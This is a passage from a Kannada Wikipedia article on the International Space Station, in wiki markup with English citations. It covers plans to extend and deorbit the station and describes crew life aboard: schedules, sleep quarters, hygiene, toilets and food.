web|url=http://spaceflightnow.com/news/n1003/11station/|publisher=Spaceflight Now|date=11 March 2010|title=Space station partners set 2028 as certification goal|author=Stephen Clark|accessdate=14 March 2010}}</ref><ref>{{cite web|url=http://www.nasaspaceflight.com/2010/07/iss-partners-assess-extension-2025-potentially-2028/|title=ISS partners asked to assess Station extension to 2025 – potentially 2028|date=8 July 2010|accessdate=8 July 2010|author=Chris Bergin|publisher=NASASpaceflight.com}}</ref> ಈ ISS ನ ಅಂತರರಾಷ್ಟ್ರೀಯ ಪಾಲುದಾರರ ಮಲ್ಟಿಲ್ಯಾಟರಲ್ ಕೋಆರ್ಡಿನೇಷನ್ ಬೋರ್ಡ್ (MCB), 2010 ರ ಸೆಪ್ಟೆಂಬರ್ 21 ರಂದು ನಡೆದ ವಿಡಿಯೋ ಕಾನ್ಫರೆನ್ಸ್ ನಲ್ಲಿ , ಜಪಾನಿಯರ ಮತ್ತು ರಷ್ಯಾದ ಸರ್ಕಾರಗಳು 2020ರ ವರೆಗೆ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಮುಂದುವರೆಸಲು ಅಂಗೀಕರಿಸಿವೆ ಎಂಬುದನ್ನು ತಿಳಿದುಕೊಂಡಿತು. ಕೆನಡಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (CSA) ಮತ್ತು ಯುರೋಪಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (ESA) ಗಳು 2016 ರ ಆಚೆಗೆ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಮುಂದುವರೆಸುವುದರ ಬಗ್ಗೆ ಬಹುಮತ ಸಾಧಿಸಲು ಅವುಗಳ ಸರ್ಕಾರಗಳೊಂದಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿವೆ. ಇದೇ ಸಮಯದಲ್ಲಿ NASA ವಿಸ್ತರಿಸಲಾದ ಯೋಜನೆಗಳ ಮೇಲೆ US ಕಾಂಗ್ರೆಸ್ ನೊಂದಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿದೆ.<ref>{{cite web|url=http://www.spaceref.com/news/viewpr.html?pid=31689|publisher=SpaceRef.com|date=22 September 2010|title=International Partners Discuss Space Station Extension and Use|accessdate=23 September 2010}}</ref> ಹೀಗಾಗಿ NASA ISS ಅನ್ನು ಡಿಆರ್ಬಿಟ್ ಮಾಡುವ ಹೊಣೆಗಾರಿಕೆ ಹೊಂದಿದೆ. ''ಜ್ವೆಜ್ದ'' ಸ್ಟೇಷನ್ ಕೀಪಿಂಗ್ ಗಾಗಿ(ನಿಲ್ದಾಣ ನಿರ್ವಹಣೆ) ಬಳಸುವ ನೋದನ ವ್ಯವಸ್ಥೆಯನ್ನು ಹೊಂದಿದ್ದರೂ ಕೂಡ ಡಿಆರ್ಬಿಟ್ ಅನ್ನು ನಿಯಂತ್ರಿಸಲು ಸಾಕಾಗುವಷ್ಟು ಪ್ರಬಲವಾಗಿಲ್ಲ. ISS ನ ಡಿಆರ್ಬಿಟ್ ಅನ್ನು ನಿಯಂತ್ರಿಸುವ ಆಯ್ಕೆಗಳು, ಮಾರ್ಪಡಿಸಲಾದ ಯುರೋಪಿಯನ್ ATV ಯ ಬಳಕೆಯನ್ನು, ಅಥವಾ ವಿಶೇಷವಾಗಿ ನಿರ್ಮಿಸಲಾದ ಡಿಆರ್ಬಿಟ್ ವಾಹನವನ್ನು ಒಳಗೊಂಡಿವೆ.<ref>{{cite web|url=http://www.flightglobal.com/articles/2007/07/03/215291/nasa-may-buy-esas-atv-to-de-orbit-iss-at-end-of-life.html|accessdate=27 September 2009|title=NASA may buy ESA's ATV to de-orbit ISS at end of life|publisher=Flightglobal|author=Rob Coppinger|date=7 March 2007}}</ref><ref>{{cite book|url=http://search.nap.edu/openbook.php?record_id=9794&page=28|isbn=0-309-06938-6|publisher=National Academies Press|year=2000|pages=28–30|author=Thomas Kelly, ''et al''.|title=Engineering Challenges to the Long-Term Operation of the International Space Station}}</ref> 2009 ರ ವರದಿಯ ಪ್ರಕಾರ, RKK ಎನರ್ಜಿಯ, ನಿಲ್ದಾಣದ ಕಾರ್ಯಾಚರಣೆಯು ಮುಗಿಯಲು ಬಂದಾಗ ನಿಲ್ದಾಣದ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನ ಕೆಲವು ಘಟಕಗಳನ್ನು ತೆಗೆದುಹಾಕುವ ವಿಧಾನಗಳನ್ನು ಪರಿಗಣಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಈ ಘಟಕಗಳನ್ನು ಆರ್ಬಿಟಲ್ ಪೈಲಾಟೆಡ್ ಅಸೆಂಬ್ಲಿ ಅಂಡ್ ಎಕ್ಸ್ ಪಿರಿಮೆಂಟ್ ಕಾಂಮ್ಲೆಕ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುವ ಹೊಸ ನಿಲ್ದಾಣದ ಆಧಾರವಾಗಿ ಬಳಸಬಹುದಾಗಿದೆ. ಪ್ರಸ್ತುತದಲ್ಲಿ ISS ನಿಂದ ತೆಗೆದುಹಾಕಬೇಕೆಂದಿರುವ ಘಟಕಗಳು ಕೆಳಕಂಡಂತಿವೆ: ವಿವಿಧೋದ್ದೇಶ ಪ್ರಯೋಗಾಲಯ ಘಟಕ(ಮಲ್ಟಿ ಪರ್ಪಸ್ ಲ್ಯಾಬೋರೇಟರಿ ಮಾಡ್ಯೂಲ್) (MLM), ಇದನ್ನು 2011 ರ ಕೊನೆಯಲ್ಲಿ ಇತರ ರಷ್ಯನ್ ಘಟಕಗಳೊಂದಿಗೆ ಉಡಾವಣೆಗೆ ನಿರ್ಧರಿಸಲಾಗಿದೆ. ಪ್ರಸ್ತುತದಲ್ಲಿ ಈ ಘಟಕಗಳನ್ನು 2015 ರ ವರೆಗೆ MLM ನೊಂದಿಗೆ ಸೇರಿಸಲು ಯೋಜನೆ ಮಾಡಲಾಗುತ್ತಿದ್ದರೂ ಕೂಡ ಇನ್ನೂ ಬಂಡವಾಳ ಒದಗಿಲ್ಲ. ನಿಲ್ದಾಣಕ್ಕೆ ಜೋಡಿಸಲಾಗಿರುವ MLM ಅಥವಾ ಯಾವುದೇ ಇತರ ಅಧಿಕ ಘಟಕಗಳು 2016 ಅಥವಾ 2020ರಲ್ಲಿ ಅವುಗಳ ಜೀವಿತಾವಧಿಯ ಕೊನೆಯನ್ನು ಮುಟ್ಟುತ್ತವೆ. ಈ ವರದಿಯು ರಷ್ಯಾದ ಅನಾಮಿಕ ಎಂಜಿನಿಯರ್ ಒಬ್ಬರ ಹೇಳಿಕೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಇವರು ''ಮಿರ್'' ನ ಅನುಭವದ ಆಧಾರದ ಮೇಲೆ ಸೂಕ್ಷ್ಮ ಉಲ್ಕಾಶಿಲೆಗಳ ನಷ್ಟವನ್ನು ಹೊರತುಪಡಿಸಿ ಇದು ಮೂವತ್ತು ವರ್ಷಗಳ ಕಾಲ ಜೀವಿಸಬಲ್ಲದು ಎಂದು ನಂಬುತ್ತಾರೆ. ಏಕೆಂದರೆ ರಷ್ಯನ್ ಘಟಕಗಳನ್ನು ಕಕ್ಷೆಯ ಮೇಲೆ ನವೀಕರಿಸಲು ಸಾಧ್ಯವಾಗುವಂತೆಯೇ ನಿರ್ಮಿಸಲಾಗಿದೆ.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/science/nature/8064060.stm|title=Russia 'to save its ISS modules'|publisher=BBC News|date=22 May 2009|accessdate=23 May 2009 | first=Anatoly | last=Zak}}</ref> ==ನಿಲ್ದಾಣದೊಳಗಿನ ಬದುಕು== ===ಸಿಬ್ಬಂದಿ ವೇಳಾಪಟ್ಟಿ(ಕಾರ್ಯಕ್ರಮ)=== ಇಲ್ಲಿ ISSನೊಳಗೆ ಕೋಆರ್ಡಿನೇಟೆಡ್ ಯುನಿವರ್ಸಲ್ ಟೈಮ್ (UTC) ಕಾಲಾಮಾನ ವಲಯವನ್ನು ಬಳಸಲಾಗುತ್ತದೆ. ಕತ್ತಲೆಯಂತಹ ಅನುಭವವನ್ನು ನೀಡುವುದಕ್ಕಾಗಿ ರಾತ್ರಿಯ ಈ ನಿಲ್ದಾಣವು ದಿನಕ್ಕೆ 16 ಸೂರ್ಯೋದಯ ಮತ್ತು ಸೂರ್ಯಾಸ್ತಮವನ್ನು ನೋಡುತ್ತದೆ. ಬಾನಗಾಡಿಯ ನಿಯೋಗವನ್ನು ಭೇಟಿಮಾಡುವ ಸಂದರ್ಭದಲ್ಲಿ ISS ಸಿಬ್ಬಂದಿ ಬಹುಶಃ ಬಾನಗಾಡಿಯ ಮಿಶನ್ ಎಲ್ಯಾಪ್ಸಡ್ ಟೈಮ್ (MET) ಅನ್ನು ಅನುಸರಿಸಬಹುದು. ಇದು ಹೊಂದಿಕೊಳ್ಳುವ ಕಾಲಮಾನ ವಲಯವಾಗಿದ್ದು, ಬಾನಗಾಡಿ ನಿಯೋಗದ ಉಡಾವಣೆಯ ಸಮಯವನ್ನು ಆಧರಿಸಿದೆ.<ref name="MET">{{cite web|url=http://science.nasa.gov/Realtime/Rocket_Sci/clocks/time-met.html|archiveurl=https://web.archive.org/web/20071115223702/http://science.nasa.gov/Realtime/Rocket_Sci/clocks/time-met.html|title=Mission Elapsed Time explained|accessdate=9 November 2007|date=13 September 1995|publisher=NASA |archivedate = November 15, 2007}}</ref><ref name="STS-113-interview">{{cite web|url=http://spaceflight.nasa.gov/feedback/expert/answer/crew/sts-113/index_2.html|title=Ask the STS-113 crew: Question 14|accessdate=9 November 2007|date=7 December 2002|publisher=NASA|archive-date=11 ಆಗಸ್ಟ್ 2011|archive-url=https://www.webcitation.org/60qkrU75R?url=http://spaceflight.nasa.gov/feedback/expert/answer/crew/sts-113/index_2.html|url-status=dead}}</ref> UTC ಮತ್ತು METಯ ನಡುವಿನ ಕಾಲಮಾನವು ಸಾಮಾನ್ಯವಾಗಿ ಭಿನ್ನವಾಗಿರುವುದರಿಂದ ISS ನ ಸಿಬ್ಬಂದಿ ನಿದ್ರಿಸುವ ವಿಧಾನದ ಕ್ರಮವನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಹೊಂದಿಸಿಕೊಳ್ಳಬೇಕಾಗುತ್ತದೆ. ಅವರು ಸ್ಲೀಪ್ ಶಿಫ್ಟಿಂಗ್ ಎಂದು ಕರೆಯಲಾಗುವ ಅಭ್ಯಾಸದಲ್ಲಿ ಬಾನಗಾಡಿಯು ಬರುವ ಮೊದಲು ಮತ್ತು ಹೋದನಂತರ ಒಂದು ಕಾಲಮಾನದಿಂದ ಮತ್ತೊಂದು ಕಾಲಮಾನಕ್ಕೆ ಬದಲಾಯಿಸಿಕೊಳ್ಳಬೇಕು.<ref name="STS-113-question-and-answer">{{cite web|url=https://www.nasa.gov/missions/highlights/webcasts/shuttle/sts113/mission-crew-qa.html|title=STS-113 Mission and Expedition Crew Question and Answer Board|accessdate=24 February 2009|date=November 2002|publisher=NASA}}</ref> ಸಾಮಾನ್ಯವಾಗಿ 06:00 ಗಂಟೆಗೆ ಎಚ್ಚರವಾಗುವುದರೊಂದಿಗೆ ಸಿಬ್ಬಂದಿಯ ದಿನ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ. ಅನಂತರ ವಿಶ್ರಾಂತಿ-ನಿದ್ರೆಯ ನಂತರದ ಕಾರ್ಯಗಳನ್ನು ಮುಗಿಸಲಾಗುತ್ತದೆ, ಹಾಗು ನಿಲ್ದಾಣದ ಮುಂಜಾವಿನ ಪರಿವೀಕ್ಷಣೆ ಮಾಡಲಾಗುತ್ತದೆ. ಅನಂತರ ಸಿಬ್ಬಂದಿ ತಮ್ಮ ಬೆಳಗಿನ ಉಪಹಾರ ಮುಗಿಸಿ, ಸುಮಾರು 08:10ರಿಂದ ಅವರ ಕೆಲಸವನ್ನು ಪ್ರಾರಂಭಿಸುವ ಮೊದಲು, ಗಗನಯಾತ್ರೆ ಉದ್ದೇಶದ ನಿಯಂತ್ರಣದೊಂದಿಗೆ ನಡೆಸುವ ದಿನನಿತ್ಯದ ಯೋಜನೆ-ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಸಮಾಲೋಚನೆಯಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತಾರೆ. ಸಿಬ್ಬಂದಿ 13:05 ರ ವರೆಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿದ ನಂತರ ನಿಗದಿಪಡಿಸಲಾದ ದಿನದ ಮೊದಲನೆಯ ವ್ಯಾಯಾಮ-ಅಭ್ಯಾಸ ಮಾಡುತ್ತಾರೆ. ಒಂದು ಘಂಟೆಯ ಊಟದ ವಿರಾಮದ ನಂತರ ಮಧ್ಯಾಹ್ನ ಇನ್ನೂ ಅಧಿಕ ಕೆಲಸಗಳನ್ನು ಮತ್ತು ವ್ಯಾಯಾಮಗಳನ್ನು ಮಾಡಲಾಗುತ್ತದೆ. ಈ ಕೆಲಸಗಳನ್ನು ರಾತ್ರಿಯ ಊಟ ಮತ್ತು ಸಿಬ್ಬಂದಿಯ ಸಮಾಲೋಚನೆಯನ್ನು ಒಳಗೊಂಡಂತೆ, 19:30 ರಿಂದ ಪ್ರಾರಂಭವಾಗುವ ಸಿಬ್ಬಂದಿಯ ನಿದ್ರಾಪೂರ್ವ ಚಟುವಟಿಕೆಗಳನ್ನು ಆರಂಭಿಸುವ ಮೊದಲು ಮಾಡಲಾಗುತ್ತದೆ. ನಿಗದಿತ ನಿದ್ರಾಸಮಯವು 21:30 ರಿಂದ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ. ಸಾಧಾರಣವಾಗಿ ಸಿಬ್ಬಂದಿ ವಾರದ ದಿನದಲ್ಲಿ ದಿನಕ್ಕೆ 10 ಘಂಟೆಗಳ ಕಾಲ ಮತ್ತು ಶನಿವಾರದ ದಿನಗಳಂದು 5 ಘಂಟೆಗಳ ಕಾಲ ಕೆಲಸ ಮಾಡುತ್ತಾರೆ. ಇದರೊಂದಿಗೆ ಉಳಿದ ಸಮಯದಲ್ಲಿ ವಿಶ್ರಾಂತಿ ತೆಗೆದುಕೊಳ್ಳುತ್ತಾರೆ, ಆಟವಾಡುತ್ತಾರೆ ಮತ್ತು ಕೆಲಸದಲ್ಲಿ ಭಾಗಿಯಾಗುತ್ತಾರೆ.<ref>{{cite web|url=https://www.nasa.gov/pdf/287386main_110508_tl.pdf|title=ISS Crew Timeline|date=5 November 2008|accessdate=5 November 2008|publisher=NASA|format=PDF}}</ref> ===ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ನಿದ್ರಿಸುವುದು=== [[File:Temporary Sleep Station.jpg|thumb|upright|alt=An astronaut emerges from a small sleeping compartment surrounded by equipment.|ಡೆಸ್ಟಿನಿ ಪ್ರಯೋಗಾಲಯದಲ್ಲಿರುವ ವಾಲಿದ, ಬಾಗಿರುವ ಕಪಾಟಿನ ಬಾಗಿಲಲ್ಲಿರುವ ಗಗನಯಾತ್ರಿ ಪೆಗ್ಗಿ ವಿಸ್ಟನ್.]] ಗಗನಯಾತ್ರೆಯ ಕಾಯಂ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರಿಗೆ ನಿಲ್ದಾಣವು ಸಿಬ್ಬಂದಿ ಕ್ವಾಟರ್ಸ್(ನಿವಾಸ) ಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ಇದರೊಂದಿಗೆ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನಲ್ಲಿ ಎರಡು 'ನಿದ್ರಾ ನಿಲ್ದಾಣಗಳನ್ನು' ಮತ್ತು ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' ಯನ್ನು ಅಳವಡಿಸುವ ಮೂಲಕ ಇನ್ನೂ ಅಧಿಕ ನಾಲ್ಕು ನಿಲ್ದಾಣಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ಇದು ಪ್ರಸ್ತುತದಲ್ಲಿ USOS ನ ಸುತ್ತಮುತ್ತಲೂ ವ್ಯಾಪಿಸಿದೆ. ಅಮೇರಿಕದ ಕ್ವಾಟರ್ಸ್ ಗಳು(ವಿವಾಸಗಳು) ಖಾಸಗೀಯಾಗಿದ್ದು, ಸರಿಸುಮಾರು ವ್ಯಕ್ತಿಯ ಗಾತ್ರದಷ್ಟಿರುವ ಶಬ್ದರೋಧಕ ಬೂತ್ (ಪ್ರತ್ಯೇಕ ಜಾಗ)ಗಳಂತಿರುತ್ತವೆ. ಸಿಬ್ಬಂದಿ ಸದಸ್ಯ ಅವುಗಳೊಳಗಿರುವ ಹಗ್ಗದಂತಹ ನಿದ್ರಾ ಬ್ಯಾಗ್ (ಚೀಲ) ನಲ್ಲಿ ಮಲಗಬಹುದು. ಜೊತೆಯಲ್ಲಿ ಸಂಗೀತವನ್ನೂ ಆಲಿಸಬಹುದು, ಲ್ಯಾಪ್ ಟಾಪ್ ಅನ್ನು ಬಳಸಬಹುದು. ಅಲ್ಲದೇ ದೊಡ್ಡದಾದ ಡ್ರಾಯರ್ ಅಥವಾ ಘಟಕದ ಗೋಡೆಗಳಿಗೆ ಕಟ್ಟಲಾಗಿರುವ ಬಲೆಗಳಲ್ಲಿ ವೈಯಕ್ತಿಕವಾಗಿ ತಮಗೆ ಅಗತ್ಯವಿರುವ ವಸ್ತುಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು. ಈ ಘಟಕವು ಓದುವ ದೀಪ, ಷೆಲ್ಫ್ ಮತ್ತು ಡೆಸ್ಕ್ ಟಾಪ್ ಅನ್ನು ಕೂಡ ಒದಗಿಸುತ್ತದೆ.<ref name="NASACrewEquip">{{cite web|url=https://www.nasa.gov/mission_pages/station/behindscenes/126_payload.html|title=Station Prepares for Expanding Crew|publisher=NASA|author=Cheryl L. Mansfield|date=7 November 2008|accessdate=17 September 2009}}</ref><ref name="CSALife">{{cite web|url=http://www.asc-csa.gc.ca/pdf/educator-liv_wor_iss.pdf|title=Living and Working on the International Space Station|accessdate=28 October 2009|publisher=CSA|archive-date=19 ಏಪ್ರಿಲ್ 2009|archive-url=https://web.archive.org/web/20090419045323/http://www.asc-csa.gc.ca/pdf/educator-liv_wor_iss.pdf|url-status=dead}}</ref><ref name="ESALife">{{cite web|url=http://www.esa.int/esaHS/ESAH1V0VMOC_astronauts_0.html|publisher=ESA|accessdate=28 October 2009|date=19 July 2004|title=Daily life}}</ref> ಭೇಟಿನೀಡುವ ಸಿಬ್ಬಂದಿಗೆ ನಿದ್ರಿಸುವ ಘಟಕಗಳನ್ನು ನೀಡಲಾಗುವುದಿಲ್ಲ. ಆದರೆ ಗೋಡೆಯ ಮೇಲೆ ಜಾಗವಿರುವಷ್ಟು ಸ್ಥಳದಲ್ಲಿಯೇ ನಿದ್ರಿಸುವ ಚೀಲವನ್ನು ಕಟ್ಟಲಾಗಿರುತ್ತದೆ. ನಿಲ್ದಾಣದ ಮೂಲಕ ಮುಕ್ತವಾಗಿ ತೇಲಾಡುತ್ತ ಮಲಗಬಹುದು. ಆದರೆ ಯಾವುದಾದರೂ ಸೂಕ್ಷ್ಮ ಸಲಕರಣೆಗೆ ಡಿಕ್ಕಿ ಹೊಡೆಯುವ ಸಾಧ್ಯತೆ ಇರುವುದರಿಂದ, ಸಾಮಾನ್ಯವಾಗಿ ಹೀಗೆ ಮಲಗಲು ಅವಕಾಶ ನೀಡುವುದಿಲ್ಲ.<ref name="SRLife">{{cite web|url=http://www.space.com/missionlaunches/090827-sts127-space-sleeping.html|title=Sleeping in Space is Easy, But There's No Shower|author=Tariq Malik|accessdate=29 October 2009|date=27 July 2009|publisher=Space.com}}</ref> ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರು ಇರುವ ಸ್ಥಳದಲ್ಲಿ ಗಾಳಿ ಬೆಳಕು ಚೆನ್ನಾಗಿ ಬರುವಂತಿರಬೇಕು; ಇಲ್ಲವಾದಲ್ಲಿ ಗಗನಯಾತ್ರಿಗಳು ಆಮ್ಲಜನಕದ ಕೊರತೆಯನ್ನು ಅನುಭವಿಸಬೇಕಾಗುತ್ತದೆ ಜೊತೆಗೆ ಉಸಿರಾಟದ ಹವೆಗಾಗಿ ಕಷ್ಟಪಡಬೇಕಾಗುತ್ತದೆ. ಏಕೆಂದರೆ ಅವರು ಉಸಿರಿನ ಮೂಲಕ ಹೊರಹಾಕಿದ ಇಂಗಾಲದ ಡೈ ಆಕ್ಸೈಡ್ ನ ಗುಳ್ಳೆಗಳು ಅವರ ತಲೆಯ ಸುತ್ತಲೇ ಉಳಿದುಕೊಳ್ಳುತ್ತವೆ.<ref name="ESALife" /> ===ಪರಿಸರ ನೈರ್ಮಲ್ಯ=== ಆದರೆ ISS ಸ್ನಾನದ ವ್ಯವಸ್ಥೆಯನ್ನು ಒಳಗೊಂಡಿಲ್ಲ. ಆದರೂ ಈ ವ್ಯವಸ್ಥೆಯನ್ನು ಹ್ಯಬಿಟೇಷನ್ ಘಟಕ ದ(ನಿವಾಸ)ಸ್ಥಳವನ್ನೇ ಬಳಸಲು ಯೋಜಿಸಲಾಗಿತ್ತು. ಆದರೆ ಈ ಘಟಕವನ್ನು ಸದ್ಯ ರದ್ದುಪಡಿಸಲಾಗಿದೆ. ಇದರ ಬದಲಿಗೆ, ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರುಗಳು ವಾಟರ್ ಜೆಟ್, ವೆಟ್ ಪೈಪ್ ಗಳನ್ನು ಮತ್ತು ಟೂತ್ ಪೇಸ್ಟ್ ಟ್ಯೂಬ್ ನಂತಹ ಧಾರಕದಿಂದ ಹೊರಬರುವ ಸೋಪ್ ಅನ್ನು ಬಳಸುತ್ತಾರೆ. ನೀರನ್ನು ಉಳಿಸಲು ಸಿಬ್ಬಂದಿಗಳಿಗೆ ರಿನ್ಸ್ ಲೆಸ್ (ನೀರನ್ನು ಬಳಸದೆ ಇರುವ) ಶ್ಯಾಂಪುವನ್ನು ಮತ್ತು ಖಾದ್ಯ ಮೂಲದ ಟೂತ್ ಪೇಸ್ಟ್ ಅನ್ನು ಕೂಡ ಒದಗಿಸಲಾಗುತ್ತದೆ.<ref name="SRLife" /> ಆದರೂ ISS ನಲ್ಲಿ ಎರಡು ಸ್ಪೇಸ್ ಟಾಯ್ಲೆಟ್(ಬಾಹ್ಯಾಕಾಶ ಶೌಚಾಲಯ)ಗಳಿವೆ. ಈ ಎರಡು ಶೌಚಾಲಯಗಳು ರಷ್ಯನ್ ವಿನ್ಯಾಸದಲ್ಲಿದ್ದು, ''ಜ್ವೆಜ್ದ'' ಮತ್ತು ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' ಯಲ್ಲಿವೆ.<ref name="NASACrewEquip" /> ಈ ತ್ಯಾಜ್ಯ ಮತ್ತು ನೈರ್ಮಲ್ಯ ವಿಭಾಗಗಳು ಗಾಳಿಯನ್ನು ಹೀರಿಕೊಳ್ಳುವ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸುತ್ತವೆ. ಈ ವ್ಯವಸ್ಥೆಯು ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ತ್ಯಾಜ್ಯ ಸಂಗ್ರಹಣಾ ವ್ಯವಸ್ಥೆಗೆ ಪೂರಕ ಸದೃಶವಾಗಿದೆ. ಗಗನಯಾತ್ರಿಗಳು, ಸರಿಯಾಗಿ ಮುಚ್ಚುವುದಕ್ಕಾಗಿ ಸ್ಪ್ರಿಂಗ್ ಅನ್ನು ಹಾಕಿ ತಡೆ ಸರಳುಗಳಿಂದ ಸಿದ್ಧಪಡಿಸಲಾದ, ಶೌಚಾಯಲದ ಆಸನವನ್ನು ಭದ್ರವಾಗಿ ಹಿಡಿದುಕೊಂಡು ಕುಳಿತುಕೊಳ್ಳಬೇಕು.<ref name="ESALife" /> ಈ ಮೀಟುಗೋಲು, ಫ್ಯಾನ್ ಅನ್ನು ಜೋರಾಗಿ ತಿರುಗುವಂತೆ ಮಾಡುತ್ತದೆ. ಇದರಿಂದಾಗಿ ತ್ಯಾಜ್ಯವನ್ನು ಸರಾಗವಾಗಿ ಜಾರಿಸುವ ಚೂಷಣ(ಹೀರಿಕೊಳ್ಳುವ) ಕುಳಿಯು ತೆರೆದುಕೊಳ್ಳುತ್ತದೆ: ವಾಯು ತೊರೆಯು ತ್ಯಾಜ್ಯವನ್ನು ದೂರಕೊಂಡೊಯ್ಯುತ್ತದೆ. ಘನಸ್ಥಿತಿಯಲ್ಲಿರುವ ತ್ಯಾಜ್ಯವನ್ನು ವೈಯಕ್ತಿಕ ಚೀಲದಲ್ಲಿ ಸಂಗ್ರಹಿಸಿಡಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ಅಲ್ಯೂಮಿನಿಯಂ ಧಾರಕದಲ್ಲಿ ಶೇಖರಿಸಿಡಲಾಗುತ್ತದೆ. ತ್ಯಾಜ್ಯವನ್ನು ಹೊರಹಾಕಲು ಇಡೀ ಧಾರಕಗಳನ್ನು ಪ್ರೋಗ್ರೆಸ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ.<ref name="NASACrewEquip" /><ref>{{cite web|author=Ed Lu|title=Greetings Earthling|url=http://spaceflight.nasa.gov/station/crew/exp7/luletters/lu_letter9.html|date=8 September 2003|accessdate=1 November 2009|publisher=NASA|archive-date=11 ಸೆಪ್ಟೆಂಬರ್ 2012|archive-url=https://www.webcitation.org/6AatiXzNh?url=http://spaceflight.nasa.gov/station/crew/exp7/luletters/lu_letter9.html|url-status=dead}}</ref> ದ್ರವರೂಪದಲ್ಲಿರುವ ತ್ಯಾಜ್ಯಗಳನ್ನು ಶೌಚಾಲಯದ ಮುಂದಿನ ಭಾಗಕ್ಕೆ ಜೋಡಿಸಲಾಗಿರುವ ಮೆತು ನೀರ್ಕೊಳವಿಯು (ಹೋಸ್), ಟೂಬ್ ಗೆ ಜೋಡಿಸಲಾದ “ಮೂತ್ರ ಲಾಳಿಕೆ ಸಂಯೋಜಕ” ದೊಂದಿಗೆ ವಿಸರ್ಜಿಸುತ್ತದೆ. ಇದು ಅಂಗರಚನೆಗೆ ತಕ್ಕಂತೆ ಮಾರ್ಪಾಡಾಗುವುದರಿಂದ ಒಂದೇ ಶೌಚಾಲಯವನ್ನು ಮಹಿಳೆ ಮತ್ತು ಪುರುಷ ಇಬ್ಬರೂ ಬಳಸಬಹುದು. ಸಂಗ್ರಹಿಸಿದ ತ್ಯಾಜ್ಯ ಮತ್ತು ನೀರನ್ನು ಪುನಃ ಪಡೆಯುವ ವ್ಯವಸ್ಥೆಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಇಲ್ಲಿ ಇದು ಕುಡಿಯುವ ನೀರಾಗಿ ಪುನಃ ಪರಿವರ್ತಿಸಲ್ಪಡುತ್ತದೆ.<ref name="CSALife" /> ===ಆಹಾರ ಮತ್ತು ಪಾನೀಯ=== {{See also|Space food}} [[File:Meal STS127.jpg|thumb|upright=1.2|alt=Thirteen astronauts seated around a table covered in open cans of food strapped down to the table. In the background a selection of equipment is visible, as well as the salmon-coloured walls of the Unity node.|ಯೂನಿಟಿಯೊಳಗೆ ಭೋಜನದ ಸವಿಯನ್ನು ಸವಿಯುತ್ತಿರುವ STS-127 ಮತ್ತು ಗಗನಯಾತ್ರೆ 20 ರ ಸಿಬ್ಬಂದಿ.]] ನಿಲ್ದಾಣದ ಸಿಬ್ಬಂದಿ ಸೇವಿಸುವ ಬಹುಪಾಲು ಆಹಾರವನ್ನು ಶೀತ ವಾತಾವರಣದಲ್ಲಿ, ಶೀತಕದಲ್ಲಿ ಅಥವಾ ಡಬ್ಬದಲ್ಲಿ ಹಾಕಿಟ್ಟು ಸಂರಕ್ಷಿಸಲಾಗುತ್ತದೆ. ಗಗನಯಾತ್ರಿಗಳ ವಿಮಾನವು ನಿಲ್ದಾಣಕ್ಕೆ ಹೋಗುವ ಮೊದಲು ಆಹಾರ ಶಾಸ್ತ್ರಜ್ಞರ ಸಹಾಯದೊಂದಿಗೆ ಗಗನಯಾತ್ರಿಗಳು ಆಹಾರಸೂಚಿಯನ್ನು ತಯಾರಿಸುತ್ತಾರೆ.<ref name="CSALife" /> ದ್ರವ ಪದಾರ್ಥವು ತಲೆಗೆ ಇಳಿಯಬಹುದಾದ್ದರಿಂದ ಕಕ್ಷೆಯಲ್ಲಿ ಆಹಾರದ ರುಚಿಯನ್ನು ಸ್ವಲ್ಪ ತಗ್ಗಿಸಲಾಗಿರುತ್ತದೆ. ಮಸಾಲೆ ಹಾಕಿದಂತಹ ಆಹಾರವು ಅನೇಕ ಸಿಬ್ಬಂದಿಗಳ ಅಚ್ಚುಮೆಚ್ಚಿನ ಆಹಾರವಾಗಿರುತ್ತದೆ.<ref name="ESALife" /> ಪ್ರತಿ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರು ಅವರದೇ ಆದ ವೈಯಕ್ತಿಕ ಆಹಾರ ಪೊಟ್ಟಣ ಹೊಂದಿರುತ್ತಾರೆ. ಅಲ್ಲದೇ ಅವುಗಳನ್ನು ಅಲ್ಲಿನ ಅಡುಗೆ ಮನೆಯಲ್ಲಿ ಬೇಯಿಸುತ್ತಾರೆ. ಈ ಅಡುಗೆಮನೆಯು ಆಹಾರಕ್ಕೆ ಶಾಖ ಒದಗಿಸುವ ಎರಡು ಸಾಧನಗಳನ್ನು, 